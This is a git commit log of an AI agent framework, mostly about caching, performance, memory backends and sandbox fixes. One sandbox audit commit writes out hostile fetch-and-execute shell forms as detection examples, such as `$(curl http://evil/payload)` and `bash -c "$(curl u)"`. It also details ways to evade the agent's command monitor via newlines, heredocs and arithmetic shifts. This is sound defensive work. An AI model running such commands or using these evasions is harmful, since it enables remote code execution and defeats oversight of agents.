Vanzeren	c8cf1bf2fb	feat(checkpoint): checkpoint history cache (#4638) ... * feat(checkpoint-cache): delta-mode checkpoint history cache with recursive compose Read-only, invalidation-free cache for LangGraph delta-channel history ({writes, seed}) at the get_delta_channel_history choke point: - database.checkpoint_cache config (memory|redis; max_entries 0=disabled; redis bounded by TTL, Gateway/async only) - memory LRU backend (copy-on-read, zero-serde hit path) and redis backend (lazy import, degrades to all-miss on outage) - CachedHistorySaver: recursive composition from the nearest warm ancestor (depth budget 8), caching each level; depth-0 cold chains delegate one inner fast-path walk. Entries keyed by immutable (db, thread, ns, checkpoint_id, channel) — no invalidation, coherent across workers - provider wiring: wraps in delta mode only (async + sync), full mode untouched; sync path is memory-only - bench opt-in: DEERFLOW_CHECKPOINT_BENCH_HISTORY_CACHE=1 sqlite bench (500 updates, payload 2KB): write phase 2.28x at f=250, 1.32x at f=10; one delegated walk per thread cold start. * chore(config): bump config_version to 32 for database.checkpoint_cache The checkpoint history cache feature added the database.checkpoint_cache section to config.example.yaml; bump the schema version so existing deployments get the outdated-config warning and can run make config-upgrade. * chore(helm): bump config_version to 32 in chart values and README * fix(checkpoint-cache): purge thread history entries on delete paths Addresses review on #4638: delete_thread/prune removed source-of-truth checkpoints but left the thread's materialized history payloads in the cache (memory: until LRU eviction; redis: until TTL, default 1 day) — a data-lifecycle gap for tenant offboarding / GDPR-style erasure. - Cache contract gains thread-scoped adelete_thread/delete_thread (lifecycle purge, not invalidation; entries remain immutable) - Memory backend: stem scan over the LRU map; redis: SCAN MATCH + UNLINK, outage degrades to TTL-bounded retention without raising - CachedHistorySaver purges on delete_thread/adelete_thread and prune/aprune (prune rewrites chains, so pre-prune histories must go); delete_for_runs stays delegation-only (run->thread mapping unavailable, no in-tree callers), documented in code - ttl_seconds description documents the residual-retention window - Tests: thread-scoped purge on both backends, saver-level delete/prune purge, prefix-safety (t1 vs t10), redis outage degradation, and the pinned no-purge behavior of delete_for_runs * fix(checkpoint-cache): stable db identity, prefix-aware sync singleton, explicit zero TTL Addresses Copilot review on #4638: - checkpoint_cache_db_hash now hashes the credential-free postgres identity (host:port/database + schema): credential rotation no longer changes the cache namespace (cold cache + orphaned keys until TTL). Unparseable URLs fall back to the raw string. - The sync-path memory cache singleton is also keyed by its key_prefix: a namespace change (db identity change or operator override) recreates the cache instead of leaving stale-prefix entries unreachable and unpurgeable. - ttl_seconds=0 is now an explicit, documented opt-out of redis expiry (SET without EX; redis maxmemory policy only) instead of a silent 'ttl_seconds or None' coercion. Tests: credential-rotation hash stability, unparseable-URL fallback, prefix-change singleton recreation, same-prefix singleton reuse, and zero-TTL wire behavior (ex=None). --------- Co-authored-by: Willem Jiang <willem.jiang@gmail.com>	2026-08-02 22:25:02 +08:00
Kushida	7025ccee40	fix(artifacts): scope full previews to their thread (#4634)	2026-08-02 10:07:34 +08:00
DanielWalnut	459dd78707	perf(frontend): bound delivery, bundles, and long-running UI work (#4622) ... * docs: design frontend performance remediation * docs: plan frontend performance remediation * test(frontend): add route asset performance budgets * perf(nginx): compress textual responses safely * perf(frontend): lazy load case study media * perf(frontend): bound static demo file tracing * perf(frontend): restore static locale boundaries * perf(frontend): defer closed workspace panels * perf(frontend): split editors and deduplicate highlighting * perf(frontend): index incremental message derivation * perf(frontend): stabilize paged history cache policy * perf(frontend): bound streaming markdown renders * perf(frontend): virtualize message history * perf(frontend): bound and virtualize chat lists * perf(frontend): suspend inactive decorative animation * perf(browser): stream latest frames as binary * perf(artifacts): stream bounded text previews * docs: finalize performance runtime boundaries * style(backend): apply test formatting * fix(frontend): keep translation functions client-side * perf(frontend): defer decorative animation bundles * test(frontend): lock optimized route budgets * fix: harden frontend performance boundaries * test(frontend): update i18n provider fixture * fix(frontend): preserve sidebar pagination position * style(backend): format artifact range test	2026-08-01 22:19:59 +08:00
Nan Gao	b295736e53	fix(sandbox): judge command substitution by position in audit middleware (#4623) ... * fix(sandbox): judge command substitution by position in audit middleware SandboxAuditMiddleware refused any `$(...)` containing a risky executable, so ordinary output capture such as `code=$(curl -s -o /dev/null -w '%{http_code}' https://example.com)` was blocked before the bash tool ever ran. The rule matched the `$(cmd` token regardless of syntactic position, and because the opening paren was optional and unbounded it also caught plain variable expansions (`$shell`, `$bashrc`, `$python_version`) and lookalike binaries (`shellcheck`, `shasum`). Command position is what makes a substitution dangerous: `$(curl url)` as the command executes what was downloaded, while `x=$(curl url)` or `echo $(curl url)` only captures its output. Replace the unanchored rule with `_HIGH_RISK_COMMAND_POSITION_PATTERNS`, matched anchored against each split sub-command, and add `split_pipes=True` to `_split_compound_command` so the word after a pipe is recognised as a new command position. `_split_compound_command` keeps its previous behaviour by default, since a pipeline is one logical command and the pipe-spanning rules (`| sh`, `base64 -d | ...`) are matched by the whole-command scan in `_classify_command`. Add an explicit `eval`/`source` rule so narrowing the substitution rule does not release forms the broad pattern had covered incidentally (`eval $(curl url)`, `source <(curl url)`). It reuses the same executable list, so common shapes like `eval "$(ssh-agent)"` stay allowed. Two-step forms (`x=$(curl u); eval "$x"`), process substitution outside eval/source, and newline-separated statements remain undetected; closing them needs real shell parsing, which is out of scope for an audit layer whose actual isolation boundary is the sandbox. Fixes #4611 * fix(sandbox): keep assignment/wrapper prefixes in command position Anchoring the command-substitution rule at the start of a sub-command missed that a command position is not always the first character. POSIX shell allows leading variable assignments, and exec wrappers keep what follows in command position, so `FOO=1 $(curl url)`, `env FOO=1 $(curl url)`, `nohup $(curl url)` and `time $(curl url)` all execute the fetched output while reading as value position to an anchored pattern. The previous unanchored rule caught these incidentally, so leaving them out was a regression rather than a documented gap. `_COMMAND_POSITION_PREFIX` extends the anchor over those prefixes. Its assignment branch requires whitespace between the assignment and the substitution, which is what still separates `FOO=1 $(curl url)` (command) from `x=$(curl url)` (value); an argument-position substitution behind the same prefix, such as `env FOO=1 ./run.sh --tag $(curl url)`, keeps passing. The repetition is bounded so the alternation cannot backtrack on long input. Also correct the documented gap list: two-step forms (`x=$(curl u); eval "$x"`) are inherent to allowing output capture rather than an oversight, since any rule that permits the capture permits the first statement and linking it to the later eval needs dataflow analysis. * fix(sandbox): treat interpreter code-string flags as execution context Narrowing the substitution rule to command position released the forms where the substitution is an *argument* to something that executes it. Verified against both classifiers, block on main -> pass on this branch: bash|sh|dash|ksh|zsh -c "$(curl u)" python|perl|ruby|node|php -c/-e/-p/-r bash <<< "$(curl u)" xargs sh -c "$(curl u)" Same class as the eval/source case the PR kept, spelled with a flag. Add two whole-command rules covering the code-string flags and the here-string. They are position-blind on purpose: 'bash -c' executes what it receives wherever it appears, including as an argument to another command. Also fixes the eval/source rule itself. It required '\(' after [`$<], so the backtick spelling regressed with the rest: 'eval `curl u`' and 'source `curl u`' blocked on main and passed here, despite the PR claiming eval/source coverage was preserved. All three spellings ($( , <( , backtick) now share one _RISKY_SUBSTITUTION opener so a rule cannot cover one and miss another. Reported by @rjvkn on #4623; the backtick half was found while confirming it. 'bash <(curl u)' stays passing -- it was already passing on main and remains a documented gap, not a regression. * fix(sandbox): split on newlines, and keep heredoc bodies out of it An unquoted newline separates statements exactly like ';', but the splitter never split on it and normalization collapsed it to a space before the '^'-anchored rules ran, so identical shell semantics got opposite verdicts: echo hi; $(curl u) -> block echo hi<newline>$(curl u) -> pass Block on main, pass here -- so the PR description's 'newline-separated statements ... were not detected before this change' was wrong. It holds for '. <(curl u)' process substitution, which passed on main too; it does not hold for this. Third instance of one root cause: replacing an unanchored .search with anchored per-sub-command matching releases every context the splitter does not model (argument position, backtick spelling, statement separator). Splitting on newlines alone would then manufacture command positions the shell never creates -- a heredoc body line beginning with $(curl url) is file content, not a command. So headers are recorded as they are read and their bodies consumed verbatim at the newline that opens them. '<<<' is a here-string and opens nothing; both a lookahead and a lookbehind are needed, or the trailing '<<' of '<<< "text"' reads as a heredoc with delimiter 'text'. The header regex is tried only at '<', which keeps this off every other character: without the guard a 10KB command went 313ms -> 505ms. A realistic 20KB heredoc file write classifies in ~13ms. Reported by @willem-bd on #4623. * fix(sandbox): do not read an arithmetic shift as a heredoc header The heredoc heuristic fired on any unquoted '<<', so a bit shift whose right operand is an identifier opened a phantom heredoc: offset=$(( idx << shift )) $(curl http://evil/payload) Delimiter 'shift' never appears, so the unterminated body consumed the rest of the string, the second line was never split into its own sub-command, and the anchored rule never saw it -- reopening the newline evasion the previous commit closed, and a regression against main. Track arithmetic depth alongside the quote flags and skip header detection while it is positive. Covers the bare arithmetic command '(( ... ))' too, not just '$(( ... ))': it evades identically and a $-only guard would miss it. A digit right operand ('$((1<<8))') never had the problem, since a delimiter cannot start with one; both spellings are pinned so they cannot drift. An unclosed '((' leaves the depth positive, which only disables heredoc detection -- newlines keep splitting, so the failure direction stays towards seeing more command positions rather than fewer. Reported by @willem-bd on #4623.	2026-08-01 21:44:34 +08:00
Xinmin Zeng	f2e832330e	fix(sandbox): enforce disabled skills in filesystem views (#4178) ... * fix(sandbox): project enabled skills into sandbox views * fix(skills): keep projection mutations consistent * fix(skills): fail closed on projection errors * fix(skills): isolate per-scope failures during boot projection rebuild rebuild_all_skill_projections() propagated any exception from the public rebuild or from a single user's rebuild straight out of the gateway lifespan startup, uncaught. A single broken user directory (bad permissions, corrupted _skill_states.json, unreadable content) would therefore abort gateway boot for every user, not just that one - _rebuild_*_locked already fails closed internally (clears the view and re-raises), so the boot loop only needed to stop treating that re-raise as fatal. Each scope's rebuild now fails closed independently and boot continues; a scope left empty by a boot failure self-heals on the next sandbox acquire via ensure_skill_projections(). Also patches deerflow.skills.projection.rebuild_all_skill_projections in the memory-flush lifespan test fixture, matching the two sibling fixtures in the same file — this call is now on the lifespan startup path and the fixture's minimal SimpleNamespace config predates it. * test(skills): update authz test for the projection-aware public toggle _persist_shared_skill_state (introduced earlier in this branch) reads the shared extensions_config.json fresh from disk under the projection lock instead of through the cached get_extensions_config() singleton - that's the whole point of the fix (stale worker caches must not clobber another worker's concurrent update). The name no longer exists on the skills router module, so the test's monkeypatch of it started raising AttributeError instead of exercising the endpoint. The mock storage in this test isn't a real LocalSkillStorage instance, so _persist_shared_skill_state's projection-mutation branch is already skipped (nullcontext) and it falls back to a fresh ExtensionsConfig() for the nonexistent tmp config_path - no replacement monkeypatch needed. * fix(sandbox): make skill projection ensure best-effort in acquire acquire() called _ensure_skills_projection() directly, outside any try/except, in both LocalSandboxProvider and AioSandboxProvider. Every other skill-mount setup path in these providers has always caught exceptions and logged a warning rather than failing sandbox acquire outright (e.g. when config.yaml can't be resolved) - these two new call sites broke that contract, so any projection failure (including simply not having a config.yaml, as in CI's test environment) now failed acquire() itself instead of just leaving skill mounts off. _ensure_skills_projection now catches its own exceptions and returns None; both providers' callers already tolerate that (a None projection skips the skill-specific mounts, matching the existing degrade path) after making _append_public_skill_mapping and the custom/legacy mount block in LocalSandboxProvider explicitly None-safe. Caught by running the full suite with config.yaml removed, matching CI's environment - not caught locally because a real config.yaml was present, masking the failure. * fix(sandbox): make E2B skill projection mounts best-effort _skill_projection_mounts called ensure_skill_projections with no guard, unlike Local/AIO's _ensure_skills_projection. A raise propagated out of _apply_mounts before the configured-mounts loop ran, so a skills projection failure dropped the operator's own configured mounts too - only caught by create()'s outer warning, with nothing applied at all. Swallow here and return an empty mount list on failure, matching the Local/AIO pattern: still fail-closed for skills, but no longer widens the blast radius to unrelated configured mounts. Review feedback from PR #4178. * docs(skills): document projection trade-offs flagged in review - _update_tree_digest: note the metadata-only (not content) hashing trade-off and why runtime writes through this codebase are still covered regardless (rebuild-under-lock + rename always changes inode). - LocalSandboxProvider.acquire: note the acquire-time self-heal cost (cheap on a fresh manifest, ~400ms rebuild under lock on stale/drift). - skill_projection_mutation: drop the no-op except-Exception-then-raise; a raise from the mutation already propagates past the yield with the view left cleared, no explicit re-raise needed. - provisioner README: spell out that hostPath skills volumes require the gateway and K8s node to share DEER_FLOW_HOST_BASE_DIR (single-node or shared storage), and that the custom/legacy volumes' hostPath type Directory (not DirectoryOrCreate) makes a violation of that assumption a visible Pod-creation failure instead of a silent empty mount. Review feedback from PR #4178. * fix(skills): lazily repair user projections * fix(skills): close projection review gaps * fix(skills): refresh user projection enable state * fix(skills): close projection review follow-ups * fix(skills): preserve state across projection writes --------- Co-authored-by: Willem Jiang <willem.jiang@gmail.com>	2026-07-31 17:55:24 +08:00
Huixin615	133a82c6c2	fix: isolate MCP server toggles from invalid peer configs (#4577) ... * fix: isolate MCP server toggle updates * fix: write extensions config atomically * fix: normalize MCP transport aliases	2026-07-31 08:32:39 +08:00
Vanzeren	c48de5e70b	feat(checkpoint): make delta snapshot_frequency configurable (#4516) ... * feat(checkpoint): make delta snapshot_frequency configurable * fix(config): carry legacy checkpoint_delta_snapshot_frequency with warning Addresses review on #4516: the rename from the flat database.checkpoint_delta_snapshot_frequency key to nested database.checkpoint_delta.snapshot_frequency silently dropped the old value (pydantic extra="ignore"). Add a before-validator that maps the legacy key onto the nested one with a deprecation warning (nested key wins when both are set), plus a CHANGELOG breaking-change note covering the rename and the 1000 -> 10 default change. * fix(checkpoint): validate frozen snapshot frequency	2026-07-28 23:21:23 +08:00
Willem Jiang	26ba0b9e6a	doc(changelog): update the changelog with the latest status of 2.1.0 PRs (#4484) ... * doc(changelog): update the change log files with latest PR status in mile-stone 2.1.0 * Added the chinese version changelog update	2026-07-27 11:00:48 +08:00
Huixin615	090e80c1dd	fix(runtime): fail-stop runs when lease ownership cannot be confirmed (#4431) ... * fix(runtime): fail-stop runs after lease expiry * test(runtime): cover late successful lease renewal --------- Co-authored-by: Willem Jiang <willem.jiang@gmail.com>	2026-07-27 07:25:34 +08:00
MiaoRuidx	735f67a5b2	fix: guard pending run startup cancellation (#4450) ... * fix: guard pending run startup cancellation * fix(run): address startup review feedback * fix(run): narrow start_run store contract --------- Co-authored-by: MiaoRuidx <12540796+MiaoRuidx@users.noreply.github.com> Co-authored-by: Willem Jiang <willem.jiang@gmail.com>	2026-07-25 23:50:21 +08:00
Huixin615	8af760fc30	fix(runtime): make orphan reconciliation lease-aware (#4427)	2026-07-25 23:26:17 +08:00
luo jiyin	3b77a7401b	fix(sandbox): enforce E2B replica capacity limits (#4391) ... * fix(sandbox): enforce E2B replica capacity limits (in-process) Add SandboxCapacityExceededError with diagnostic fields. Add overflow_policy (wait/reject/burst), acquire_timeout, and burst_limit config options. Implement atomic capacity reservation with a four-slot model: reserved / active / warm / transitioning. Transitioning slots close the window where active-to-warm or warm-to-active transitions appear to have zero occupied slots, which would let concurrent acquires exceed the configured replica ceiling. Re-route release, reclaim, and evict through transitioning counters. Add shutdown guard: reject waiters, kill VMs created during shutdown. Add 14 tests: policy enforcement, release+acquire race, warm-reclaim race, shutdown-waiter interaction, shutdown-during-create, and concurrent different-thread capacity assertion. Related: #4339 * fix: harden e2b sandbox capacity lifecycle * fix: retain e2b capacity during uncertain eviction * fix: serialize e2b tombstone eviction * fix: retain capacity after uncertain e2b cleanup * fix: track e2b remote operations during shutdown * fix(sandbox): validate E2B capacity config * fix(sandbox): classify capacity errors * fix(sandbox): harden E2B capacity lifecycle * test(sandbox): cover E2B review findings * docs(changelog): note E2B capacity behavior * docs(readme): explain E2B overflow handling * docs(backend): record E2B lifecycle rules * docs(sandbox): clarify destructive E2B reset * fix(sandbox): close E2B capacity race gaps --------- Co-authored-by: Willem Jiang <willem.jiang@gmail.com>	2026-07-25 10:54:14 +08:00
lllyfff	01a89f2379	[feat] memory: pluggable MemoryManager interface for backend onboarding (#4326) ... * refactor(memory): pluggable MemoryManager interface for backend onboarding Optimize the MemoryManager interface layer so new backends (mem0/openviking) onboard with less code and the contract stays stable as capabilities are added. A minimal backend now implements only from_config + add + get_context (verified by test_memory_manager_interface.py::_MinimalBackend onboarding via the factory); the factory no longer knows a backend's private hooks. - MemoryManager: ABC -> pydantic BaseModel; three-tier methods (tier-1 add/get_context abstract; tier-2 management defaults; tier-3 optional hooks warm/reload/fact + on_pre_compress/on_turn_start). Dropped 3 self-serving hooks. 6 hasattr probe sites -> direct call + try/except NotImplementedError. - from_config classmethod: factory thins to resolve + inject storage_path + collect host hooks + call from_config; DeerMem-specific hook consumption moved from factory to DeerMem.from_config. - Invariants: @model_validator (mode='tool' requires search via supports_search ClassVar); DeerMemConfig storage_path-is-file check moved here from factory. - Async: aadd/aget_context/asearch default to the sync path (speculative). - Callbacks: MemoryCallbacks + LangfuseMemoryCallbacks; on_memory_llm_call subsumes tracing_callback (same signature/timing/mutation); deleted the tracing_callback field. DeerMem decoupled from langfuse (portability). - noop keeps read-op empty overrides (avoids router 500s on the disable-memory-via-noop path); only delete/export inherit the base raise. Behavior preserved: 661 passed / 13 skipped. Docs: backends/README.md rewritten (three-tier + from_config + callbacks); samples README updated; removed stale private doc paths. Co-Authored-By: Claude <noreply@anthropic.com> * fix(memory): 501 on unsupported read/manage endpoints + accurate warm log Review follow-up on the three-tier MemoryManager refactor. - Read/manage endpoints (GET /memory, /memory/export, /memory/status, DELETE /memory, POST /memory/import) and the /memory/reload fallback now catch NotImplementedError -> 501, matching the fact-CRUD endpoints. The hasattr->try/except migration had skipped these: they were @abstractmethod before (every backend implemented them, so they never raised), so once they became tier-2 default-raise a minimal backend (only add + get_context) hit a raw 500 -- there is no global NotImplementedError handler. get_memory is shared via _get_memory_or_501 (covers /memory, export, status, reload fallback). noop is unchanged: its read-op empty overrides never raise. - warm() base default returns None (tri-state: True=warmed, False=failed, None=nothing to warm) so the Gateway lifespan logs "skipping" for a non-DeerMem backend (e.g. noop) instead of the inaccurate "warmed successfully" it never earned. DeerMem.warm keeps True/False. - Tests: 6 router 501 tests (read/manage + reload fallback) + 2 lifespan warm-log tests (None->skipping, False->warning); conformance/pluggable assert warm() is None. 705 passed / 13 skipped; lint clean. Co-Authored-By: Claude <noreply@anthropic.com> * fix(memory): review follow-ups - search-flag consistency, client reload, backend_config purity Address review feedback on the three-tier MemoryManager refactor: - [Medium] supports_search/search drift: the invariant now requires the supports_search ClassVar flag to MATCH whether search() is actually overridden (type(self).search is not MemoryManager.search), so the flag can't drift from the impl. Catches both directions at instantiation: a backend that overrides search() but forgets supports_search=True (was a misleading tool-mode rejection), and one that sets the flag without overriding (was a runtime NotImplementedError on the first memory_search). noop sets supports_search=True to match its search() override. Conformance adds drift + consistent-backend tests. - [Low] client.reload_memory fallback: wrap the get_memory fallback so a minimal backend (only add + get_context) surfaces a clean NotImplementedError ("implements neither reload_memory nor get_memory") instead of an uncaught propagation -- mirrors the router's 501. Test added. - [Low] backend_config purity: DeerMem.from_config restores backend_config to the pure data the host passed after model_post_init parses the injected hooks into DeerMemConfig (self._config, PrivateAttr); the field stays serializable (no callables/LLM) and matches the README ("host hooks NOT in backend_config"). Test asserts purity + hooks wired. - [Low] CHANGELOG: breaking-change note that mode='tool' + non-search backend now fails fast at startup (was silently empty) so operators recognize it on upgrade. - [Nit] .gitignore: drop the env-specific .tmp-pytest/ entry (--basetemp is local-only, not make test/CI). 709 passed / 13 skipped; lint clean. Co-Authored-By: Claude <noreply@anthropic.com> * docs(changelog): correct memory tool-mode fail-fast note The CHANGELOG entry said mode='tool' + a non-search backend "(e.g. noop)" fails fast at startup, but noop overrides search() (returns []) and sets supports_search=True (required by the consistency invariant), so noop IS search-capable and noop+tool does NOT fail fast. The fail-fast only affects a custom backend that onboards without overriding search(). Reworded to drop the misleading noop example and state both shipping backends implement search(). Co-Authored-By: Claude <noreply@anthropic.com> --------- Co-authored-by: Claude <noreply@anthropic.com>	2026-07-22 14:40:57 +08:00
Aari	5b65d543b1	fix(channels): key inbound dedupe on chat-scoped workspaces (#4287) ... * fix(channels): key inbound dedupe on chat-scoped workspaces * fix(channels): release the inbound dedupe key on swallowed transient failures _release_inbound_dedupe_key runs from _handle_message's generic exception handler, but three sites handle their error in place and never re-raise, so the key recorded on receipt survives the full dedupe TTL and the provider's redelivery -- the retry that would have recovered the failure -- is dropped: - _handle_streaming_chat swallows every stream error into its finally block - the fire-and-forget runs.create busy branch - the non-streaming runs.wait busy branch Keying chat-scoped workspaces gives telegram/feishu/wechat/dingtalk a dedupe key for the first time, which newly exposes them to this. The mechanism is pre-existing, not introduced here: WeCom already had a key (streaming plus aibotid) and shows the same black hole on main. Also parametrize the dispatch dedupe test over all three chat-scoped providers so the streaming path is covered end-to-end, and restate the workspace-fallback comment in terms of what the chain actually guarantees -- both fallbacks are appended last and gated on every earlier source being absent, so they can only turn "no key" into a key, never change one. * fix(channels): publish final reply before dedupe release --------- Co-authored-by: Willem Jiang <willem.jiang@gmail.com>	2026-07-19 20:01:52 +08:00
Aari	bc9c027a54	fix(uploads): claim the converted markdown filename before writing it (#4288) ... * fix(uploads): claim the converted markdown filename before writing it * doc(changelog): record the converted-markdown filename collision fix Covers both surfaces that report markdown_file: the gateway uploads route and DeerFlowClient.upload_files. * fix(uploads): release the claimed markdown name when conversion fails Claiming the companion .md name before conversion means a conversion that writes nothing leaves the name reserved for the rest of the request, so a later same-stem upload is renamed against a name nothing occupies. Uploading notes.docx (conversion fails) + notes.md stored the user's file as notes_1.md with no notes.md on disk, where main kept notes.md. Discard the claim when conversion returns None, at both call sites that pre-claim it. Covers both victims: a later same-stem .md upload, and the next convertible's companion.	2026-07-19 17:24:31 +08:00
Willem Jiang	208df4931d	doc(changelog): updated the changelog with latest changes (#4270)	2026-07-18 17:25:45 +08:00
Huixin615	f9340c1f08	test(mcp): cover passive skill tool visibility (#4247) ... * test(mcp): cover passive skill tool visibility * test(mcp): tighten deferred discovery coverage	2026-07-17 14:39:35 +08:00
Zheng Feng	d57f695769	fix(helm): default sandbox Services to ClusterIP (#3929) (#4190) ... * fix(helm): default sandbox Services to ClusterIP (#3929) The K8s sandbox provisioner supports both NodePort and ClusterIP via SANDBOX_SERVICE_TYPE (added in #4016), but the Helm chart never set it, so real-cluster installs inherited the NodePort default. That bound the code-execution sandbox on every node's interfaces - including externally reachable ones on GKE/EKS/AKS - and pinned every sandbox URL to one node IP (SPOF on node reboot/drain/ephemeral-IP). Default the chart to ClusterIP: the provisioner returns a cluster-DNS URL (http://sandbox-<id>-svc.<ns>.svc.cluster.local:8080) so the gateway-> sandbox hop stays inside the cluster network - no node IP, no 30xxx port, no external exposure. The chart always runs the gateway in-cluster, so ClusterIP is always correct there. NodePort remains an opt-in (provisioner.sandboxServiceType: NodePort + nodeHost) for the Docker-Compose/hybrid path where the gateway is not in K8s and cannot resolve .svc.cluster.local; the provisioner code default stays NodePort for that path. - values.yaml: add provisioner.sandboxServiceType ("ClusterIP") - provisioner-deployment.yaml: emit SANDBOX_SERVICE_TYPE; gate the NODE_HOST block on NodePort mode (default "ClusterIP" for upgrade safety) - NOTES.txt + README.md: document ClusterIP default + NodePort opt-in No change to docker/provisioner/app.py (already mode-aware since #4016) or RBAC (services verbs already cover ClusterIP). * test(helm): assert sandbox Service-type gating + CHANGELOG the default flip (#3929) Address review on #4190: - Add scripts/check_chart_sandbox_service.sh: renders the chart for the default (ClusterIP, no NODE_HOST), the NodePort opt-in (both emitted), and NodePort+nodeHost (literal value, not downward API). Locks in the #3929 gating so a regression (e.g. re-adding an unconditional NODE_HOST, or dropping the `default "ClusterIP"` upgrade-safety fallback) fails CI. Wired into .github/workflows/chart.yaml validate-chart job. (#2) - CHANGELOG [Unreleased] -> Changed: note the NodePort->ClusterIP default flip on upgrade + the `sandboxServiceType: NodePort` opt-back-in. (#4) No chart template changes (the gating itself landed in the first commit). --------- Co-authored-by: Willem Jiang <willem.jiang@gmail.com>	2026-07-16 14:30:05 +08:00
Huixin615	65afc9b1d2	fix(skills): apply allowed-tools only to active skills (#4098) ... * fix(skills): scope allowed-tools to active skills * fix(skills): tolerate stale active skill paths * chore: retrigger CI * fix(skills): document policy activation limits * perf(skills): reuse per-step tool policy decisions * fix(skills): harden runtime tool policy contracts * fix(skills): redact cached policy decisions * fix(skills): make slash tool policy authoritative * fix(skills): preserve policy-safe discovery tools * test(skills): cover explicit task delegation policy	2026-07-16 14:12:02 +08:00
qin-chenghan	ad45f59d66	feat(memory): pluggable memory abstraction with self-contained DeerMem backend (#4122) ... * feat(memory): pluggable + self-contained memory system (MemoryManager plan phases 1 & 2) Phase 1 — Pluggable (steps 0-10): - ABC MemoryManager (9 methods) + singleton factory + drop-in backend discovery - DeerMem default backend with core/ (storage/queue/updater/prompt/message_processing) - NoopMemoryManager backend (proves pluggability) - All call sites (middleware/hook/prompt/gateway/client/app) routed through manager - hasattr capability probing for DeerMem-internal methods (no hard imports) - MemoryConfig gains manager_class field; shared vs DeerMem-private annotated Phase 2 — Self-contained DeerMem (steps 11-18): - backend_config passthrough + DeerMemConfig (all DeerMem-private fields moved off MemoryConfig) - DI: DeerMem owns storage/queue/updater/llm as instance attributes (no global singletons) - Storage independence: core/paths.py with own root (~/.deermem or ), factory auto-injects deer-flow's runtime_home() as absolute base_dir (zero-config) - LLM independence: core/llm.py via langchain init_chat_model (no create_chat_model) - Trace independence: optional tracing_callback replaces inject_langfuse_metadata/request_trace_context - Message processing independence: hide_from_ui default-skip + optional should_keep_hidden_message hook - Internal imports → relative (only deer_mem.py ABC import is host-relative) - Carrier (deer_mem.py adapter) / portable (deermem/ config+core) split - New tests: test_deermem_self_contained + test_memory_manager_pluggable; all memory tests migrated - Other-agent demo: samples/other_agent_demo/ + automated portability test - config.example.yaml memory section updated to phase-2 schema * feat(memory): port consolidation + staleness fix into self-contained DeerMem; phase-2 host hooks Port upstream #3996 (memory consolidation) and #3993 (staleness KeyError fix) from origin/MemoryManager into the pluggable, self-contained DeerMem structure (backends/deermem/deermem/), adapted to the DI MemoryUpdater (config injected, not get_memory_config globals): - DeerMemConfig: add consolidation_enabled (opt-in, default false) / consolidation_min_facts / consolidation_max_groups_per_cycle / consolidation_max_sources - prompt.py: factsToConsolidate JSON field + {consolidation_section} placeholder + CONSOLIDATION_PROMPT constant - updater.py: _coerce_source_confidence / _select_consolidation_candidates / _build_consolidation_section module helpers (matching the existing _select_stale_candidates style); consolidation normalization in _normalize_memory_update_data; consolidation apply in _apply_updates (after max_facts trim, with apply-time guardrails mirroring staleness); staleness KeyError fix (f["id"] -> f.get("id") is not None) applied to both the staleness guardrail and the consolidation allowed_source_ids comprehension - config.example.yaml: consolidation section under memory.backend_config - tests/test_memory_consolidation.py: 40 DI-adapted tests (running, not skipped) incl. the staleness KeyError regression Also includes in-flight phase-2 host-integration work: storage_path semantics (any absolute/relative value = root dir) and host-default tracing_callback / should_keep_hidden_message hooks injected into backend_config by the factory. Co-Authored-By: Claude <noreply@anthropic.com> * feat(memory): add noop backend template and backends guide - backends/noop/: complete drop-in template (config.py with zero deer-flow imports, noop_manager.py with a 6-step new-backend walkthrough in its docstring, commented optional fact-CRUD capabilities). - backends/README.md: which files to touch when adding/swapping a backend, the 5-item backend contract, and common pitfalls. - manager.py: generalize backend examples in comments (drop mem0-specific references). Co-Authored-By: Claude <noreply@anthropic.com> * fix(frontend): guard formatTimeAgo against invalid timestamps Return a neutral placeholder when the input date is invalid (e.g. an empty lastUpdated from a backend with no memories) instead of throwing 'Invalid time value' from date-fns. Co-Authored-By: Claude <noreply@anthropic.com> * feat(memory): wire tool-driven memory mode through the MemoryManager ABC tools.py (memory_search/add/update/delete) now calls get_memory_manager() instead of the removed host memory module, so tool mode (memory.mode: tool) works for any backend. DeerMem.search is implemented (case-insensitive substring match, ranked by confidence) as a stand-in for the planned semantic retrieval; noop.search returns [] (unchanged). Fact-CRUD tools use getattr+callable probing -- backends lacking those ops (noop) get a clear JSON error instead of crashing. Tests: test_memory_tools rewired to mock the manager (handler tests) + TestModeGating retained; test_memory_search now covers DeerMem.search; pluggable stubs test updated (search no longer a stub). Co-Authored-By: Claude <noreply@anthropic.com> * fix: resolve lint errors (import sorting, type annotation quotes, E402 in skipped tests) * docs: restore explanatory comments in config.example.yaml memory section * fix(security): port html-escape memory facts fix (#4097) to vendored DeerMem prompt.py * fix(memory): address review + port dropped upstream memory fixes Review blockers (vendored DeerMem): - #4044 restore _escape_memory_for_prompt (current_memory blob in MEMORY_UPDATE_PROMPT) - prevents </current_memory> breakout - #4028 html.escape staleness-section cat/content in _build_staleness_section - #4119 add _escape_summary for injection-path summaries (Work/Personal/ Current Focus/Recent/Earlier/Background) - default-model silent no-op: factory injects host default chat model via a new host_llm slot (create_chat_model(name=None)); DeerMem prefers host_llm over build_llm(model). Zero-config extraction works out of the box again - MemoryConfigResponse: fix stale docstring (backend-agnostic shape; DeerMem knobs live under backend_config, not top-level - restoring flat would re-couple the API to DeerMem). Frontend audited: does not read /memory/config - _host_default_tracing_callback: restore langfuse assistant_id/environment - search: push category onto the ABC signature; DeerMem filters BEFORE the top_k slice (was filtered client-side after slicing -> starved results) - _do_update_memory_sync: split into wrapper+impl; bind trace_id into the request-trace ContextVar on the Timer/executor worker via a new trace_context_manager host hook (None trace_id left unbound - no fabrication) - client.py fact-CRUD now passes user_id (was writing to the global bucket while get_memory reads per-user) - _resolve_manager_class: fail-fast (raise ValueError) on an unresolved explicit manager_class instead of silently falling back to DeerMem (memory is persistent state - a wrong store is a silent data-integrity footgun) Upstream memory fixes dropped by the host->vendored rename conflict, re-ported to backends/deermem/deermem/core/ (+ deer_mem.py): - #4073 queue busy-timer-spin -> _reprocess_pending flag (core/queue.py) - #4074 null source.confidence in staleness -> _coerce_source_confidence (core/updater.py: _build_staleness_section + _apply_updates stale sort) - #4075 factsToRemove is optional (drop from _REQUIRED_MEMORY_UPDATE_TOP_LEVEL_KEYS) - #4076 null confidence in search ranking -> _coerce_source_confidence (deer_mem.py DeerMem.search) host_llm + trace_context_manager are host-injected via backend_config (factory in manager.py), keeping backends/deermem/ at exactly one `from deerflow` line (the ABC contract) - portability test preserved. Co-Authored-By: Claude <noreply@anthropic.com> * fix: resolve lint errors (F541 f-string without 